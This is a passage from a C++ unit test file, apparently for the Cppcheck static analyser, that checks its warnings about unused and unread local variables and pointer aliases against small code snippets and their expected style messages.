s{};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"int f() {\\n\"\n \" int i = 0, j = 1;\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18]: (style) Variable 'j' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:16]: (style) Variable 'j' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"int f() {\\n\"\n \" int i = 0, j = 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:9]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #10846\n \" int i = 1; while (i) { i = g(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar63() { // #6928\n functionVariableUsage(\"void f(void) {\\n\"\n \" int x=3;\\n\" // <- set but not used\n \" goto y;\\n\"\n \" y:return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar64() { // #9997\n functionVariableUsage(\"class S {\\n\"\n \" ~S();\\n\"\n \" S* f();\\n\"\n \" S* g(int);\\n\"\n \"};\\n\"\n \"void h(S* s, bool b) {\\n\"\n \" S* p = nullptr;\\n\"\n \" S* q = nullptr;\\n\"\n \" if (b) {\\n\"\n \" p = s;\\n\"\n \" q = s->f()->g(-2);\\n\"\n \" }\\n\"\n \" else\\n\"\n \" q = s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Variable 'p' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:11:11]: (style) Variable 'q' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:14:11]: (style) Variable 'q' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n }\n\n void localvar65() {\n functionVariableUsage(\"bool b();\\n\" // #9876\n \"void f() {\\n\"\n \" for (;;) {\\n\"\n \" const T* t = tok->next()->link()->next();\\n\"\n \" if (!b())\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Variable 't' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #10006\n \" std::string s = \\\"\\\";\\n\"\n \" try {}\\n\"\n \" catch (...) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar66() { // #11143\n functionVariableUsage(\"void f() {\\n\"\n \" double phi = 42.0;\\n\"\n \" std::cout << pow(sin(phi), 2) + pow(cos(phi), 2) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar67() { // #9946\n functionVariableUsage(\"struct B {\\n\"\n \" virtual ~B() {}\\n\"\n \" bool operator() () const { return true; }\\n\"\n \" virtual bool f() const = 0;\\n\"\n \"};\\n\"\n \"class D : B {\\n\"\n \"public:\\n\"\n \" bool f() const override { return false; }\\n\"\n \"};\\n\"\n \"void f1() {\\n\"\n \" const D d1;\\n\"\n \" d1.f();\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" const D d2;\\n\"\n \" d2();\\n\"\n \" B() {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar68() {\n checkFunctionVariableUsageP(\"#define X0 int x = 0\\n\"\n \"void f() { X0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkFunctionVariableUsageP(\"#define X0 int (*x)(int) = 0\\n\"\n \"void f() { X0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar69() {\n functionVariableUsage(\"int g();\\n\" // #11063\n \"int h(int);\\n\"\n \"int f() {\\n\"\n \" int i = g();\\n\"\n \" return (::h)(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar70() {\n functionVariableUsage(\"struct S { int i = 0; };\\n\" // #12176\n \"void f(S s) {\\n\"\n \" S s1;\\n\"\n \" if (s == s1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar71() {\n functionVariableUsage(\"struct A { explicit A(int i); };\\n\" // #12363\n \"void f() { A a(0); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarloops() {\n // loops\n functionVariableUsage(\"void fun(int c) {\\n\"\n \" int x;\\n\"\n \" while (c) { x=10; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void dostuff(int x);\\n\"\n \"void fun(int y, int c) {\\n\"\n \" int x = 1;\\n\"\n \" while (c) {\\n\"\n \" dostuff(x);\\n\"\n \" if (y) { x=10; break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void dostuff(int &x);\\n\"\n \"void fun() {\\n\"\n \" int x = 1;\\n\"\n \" while (c) {\\n\"\n \" dostuff(x);\\n\"\n \" if (y) { x=10; break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void fun() {\\n\"\n \" int x = 0;\\n\"\n \" while (c) {\\n\"\n \" dostuff(x);\\n\"\n \" x = 10;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void fun() {\\n\"\n \" int x = 0;\\n\"\n \" while (x < 10) { x = x + 1; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void fun()\\n\"\n \"{\\n\"\n \" int status = 0;\\n\"\n \" for (ind = 0; ((ind < nrArgs) && (status < 10)); ind++)\\n\"\n \" status = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f()\\n\"\n \"{\\n\"\n \" int sum = 0U;\\n\"\n \" for (i = 0U; i < 2U; i++)\\n\"\n \" sum += 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Variable 'sum' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:13]: (style) Variable 'sum' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f(int c) {\\n\" // #7908\n \" int b = 0;\\n\"\n \" while (g()) {\\n\"\n \" int a = c;\\n\"\n \" b = a;\\n\"\n \" if (a == 4)\\n\"\n \" a = 5;\\n\"\n \" }\\n\"\n \" h(b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f(const std::vector& v) {\\n\"\n \" while (g()) {\\n\"\n \" const std::vector& v2 = h();\\n\"\n \" if (std::vector{ 1, 2, 3 }.size() > v2.size()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(const std::vector& v) {\\n\"\n \" while (g()) {\\n\"\n \" const std::vector& v2 = h();\\n\"\n \" if (std::vector({ 1, 2, 3 }).size() > v2.size()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(const std::string &c) {\\n\"\n \" std::string s = str();\\n\"\n \" if (s[0] == '>')\\n\"\n \" s[0] = '<';\\n\"\n \" if (s == c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(bool b) {\\n\"\n \" std::map> m;\\n\"\n \" if (b) {\\n\"\n \" const std::string n = g();\\n\"\n \" std::vector c = h();\\n\"\n \" m[n] = c;\\n\"\n \" }\\n\"\n \" j(m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct S { int i; };\\n\"\n \"S f(S s, bool b) {\\n\"\n \" if (b)\\n\"\n \" s.i = 1;\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias1() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int *b = &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int *b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int *b = &a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" char *b = (char *)&a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" char *b = (char *)(&a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" const char *b = (const char *)&a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" const char *b = (const char *)(&a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" char *b = static_cast(&a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" const char *b = static_cast(&a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n // a is not a local variable and b is aliased to it\n functionVariableUsage(\"int a;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *b = &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:12]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n // a is not a local variable and b is aliased to it\n functionVariableUsage(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int *b = &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:10]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n // a is not a local variable and b is aliased to it\n functionVariableUsage(\"class A\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" void foo()\\n\"\n \" {\\n\"\n \" int *b = &a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\n \"[test.cpp:6:16]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:6:14]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"int a;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *b = &a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int *b = &a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class A\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" void foo()\\n\"\n \" {\\n\"\n \" int *b = &a;\\n\"\n \" *b = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int *b = a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" char *b = (char *)a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" char *b = (char *)(a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" const char *b = (const char *)a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" const char *b = (const char *)(a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" char *b = static_cast(a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" const char *b = static_cast(a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" int *c = b;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" int *c = b;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" int *c = b;\\n\"\n \" *c = b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int a[10];\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" int c = b[0];\\n\"\n \" x(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" int c = b[0];\\n\"\n \" x(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *b = &a[0];\\n\"\n \" a[0] = b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = &a[0];\\n\"\n \" a[0] = b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" a[0] = b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo(int a[10])\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class A\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" void foo()\\n\"\n \" {\\n\"\n \" int *b = a;\\n\"\n \" *b = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int *b = a;\\n\"\n \" int *c = b;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Variable 'a' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int b[10];\\n\"\n \" int *c = a;\\n\"\n \" int *d = b;\\n\"\n \" *d = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int b[10];\\n\"\n \" int *c = a;\\n\"\n \" c = b;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Unused variable: a [unusedVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int b[10];\\n\"\n \" int *c = a;\\n\"\n \" c = b;\\n\"\n \" *c = 0;\\n\"\n \" c = a;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9]: (style) Variable 'a' is assigned a value that is never used.\\n\"\n \"[test.cpp:7]: (style) Variable 'b' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10], * b = a + 10;\\n\"\n \" b[-10] = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style) Variable 'b[-10]' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10], * b = a + 10;\\n\"\n \" b[-10] = 0;\\n\"\n \" int * c = b - 10;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:4:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"[test.cpp:5:13]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:11]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10], * b = a + 10;\\n\"\n \" int * c = b - 10;\\n\"\n \" c[1] = 3;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Variable 'c[1]' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10], * b = a + 10;\\n\"\n \" int * c = b - 10;\\n\"\n \" c[1] = c[0];\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Variable 'c[1]' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo() {\\n\" // #4022 - FP (a is assigned a value that is never used)\n \" int a[2], *b[2];\\n\"\n \" a[0] = 123;\\n\"\n \" b[0] = &a[0];\\n\"\n \" int *d = b[0];\\n\"\n \" return *d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\" // #4022 - FP (a is assigned a value that is never used)\n \" entry a[2], *b[2];\\n\"\n \" a[0].value = 123;\\n\"\n \" b[0] = &a[0];\\n\"\n \" int d = b[0].value;\\n\"\n \" return d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct S { char c[100]; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" struct S * s = (struct S *)a;\\n\"\n \" s->c[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct S { char c[100]; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" struct S * s = (struct S *)a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:5:16]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"struct S { char c[100]; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" const struct S * s = (const struct S *)a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:24]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:5:22]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"struct S { char c[100]; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" struct S * s = static_cast(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:5:16]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"struct S { char c[100]; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" const struct S * s = static_cast(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:24]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:5:22]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int b[10];\\n\"\n \" int c[10];\\n\"\n \" int *d;\\n\"\n \" d = b;\\n\"\n \" d = a;\\n\"\n \" d = c;\\n\"\n \" *d = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Unused variable: b [unusedVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int b[10];\\n\"\n \" int c[10];\\n\"\n \" int *d;\\n\"\n \" d = b; *d = 0;\\n\"\n \" d = a; *d = 0;\\n\"\n \" d = c; *d = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (style) Variable 'b' is assigned a value that is never used.\\n\"\n \"[test.cpp:9]: (style) Variable 'c' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n }\n\n void localvaralias2() { // ticket 1637\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int * a;\\n\"\n \" x(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias3() { // ticket 1639\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" BROWSEINFO info;\\n\"\n \" char szDisplayName[MAX_PATH];\\n\"\n \" info.pszDisplayName = szDisplayName;\\n\"\n \" SHBrowseForFolder(&info);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias4() { // ticket 1643\n functionVariableUsage(\"struct AB { int a; int b; } ab;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int * a = &ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:11]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"struct AB { int a; int b; } ab;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int * a = &ab.a;\\n\"\n \" *a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct AB { int a; int b; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct AB ab;\\n\"\n \" int * a = &ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:15]: (style) Variable 'ab' is not assigned a value. [unassignedVariable]\\n\"\n \"[test.cpp:5:11]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"struct AB { int a; int b; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct AB ab;\\n\"\n \" int * a = &ab.a;\\n\"\n \" *a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias5() { // ticket 1647\n functionVariableUsage(\"char foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *p = &buf[0];\\n\"\n \" *p++ = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"char foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *p = &buf[1];\\n\"\n \" *p-- = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"char foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *p = &buf[0];\\n\"\n \" *++p = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"char foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *p = &buf[1];\\n\"\n \" *--p = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias6() { // ticket 1729\n // extracttests.start: int a(); void b(const char *);\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" } else {\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 